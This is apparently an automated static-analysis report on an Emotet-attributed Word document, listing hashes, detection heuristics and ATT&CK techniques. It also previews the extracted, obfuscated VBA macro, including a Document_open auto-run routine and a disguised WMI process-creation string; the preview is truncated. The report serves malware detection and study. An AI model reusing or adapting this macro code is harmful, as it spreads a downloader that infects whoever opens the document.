Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0917f0cbca78c193…

MALICIOUS

Office (OLE)

231.1 KB Created: 2020-09-04 19:50:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 30d1a755980b320a1283a3a0de397fd0 SHA-1: 9ae05b4c85f749d902c3a483abdc2dc0d82a52a9 SHA-256: 0917f0cbca78c19301ba65aa799b29dcf90ee3666fc9f8b83f00c5ea34a0eba6
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. This macro uses CreateObject to likely download and execute a second-stage payload, a common Emotet tactic. The ClamAV detection name further supports the Emotet family attribution.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14344 bytes
SHA-256: c1d66a9f5277c87c1fb8a50d1e2eaae9183beba3be4ed2c96c8dbd3410b75141
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tlru9a_v1b8ztke"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Jjlrw68dgyxlf29ew = Array(Zpsatbfrgsjiw + "Wa688x7vmzr5uxc9Hn15bim2kleyp69b_ D7bi0roc5tzrtp" + Q_77643tfwm2, X6u3vg9b6boip0p4b5, Zuzb6clio1n.Fo92i4wrzes, Sp47bfeynn7ww2sf_ + "X8nrh39ryq5n1d4vbr Zsxqsvz0q4s Vp4e8oiia0usz5ax35 Sbbaskq78s5")
End Sub


Attribute VB_Name = "Zuzb6clio1n"
Attribute VB_Base = "0{888E1751-7823-4ACB-8705-E9B97CEF4EDD}{A401A82B-5519-457D-8348-4A170B360B1F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fo92i4wrzes()
On Error Resume Next
   Set Jguag2vgydrnf3v = Zuzb6clio1n
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
Gcanzljz6_tsnx4qxq = 105
   Set Jguag2vgydrnf3v = Zuzb6clio1n
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
Q24oi9eu07adkcb = Chr$(Gcanzljz6_tsnx4qxq + (10))
   Set Jguag2vgydrnf3v = Zuzb6clio1n
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
Xc7766evadx = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + Q24oi9eu07adkcb + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Zuzb6clio1n.Ywnjdn7kq0ko8j + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   Set Jguag2vgydrnf3v = Zuzb6clio1n
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
E8kqs3w5qmp_ = Z32wrtpf0vp7sua(Xc7766evadx)
   Set Jguag2vgydrnf3v = Zuzb6clio1n
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva
... (truncated)

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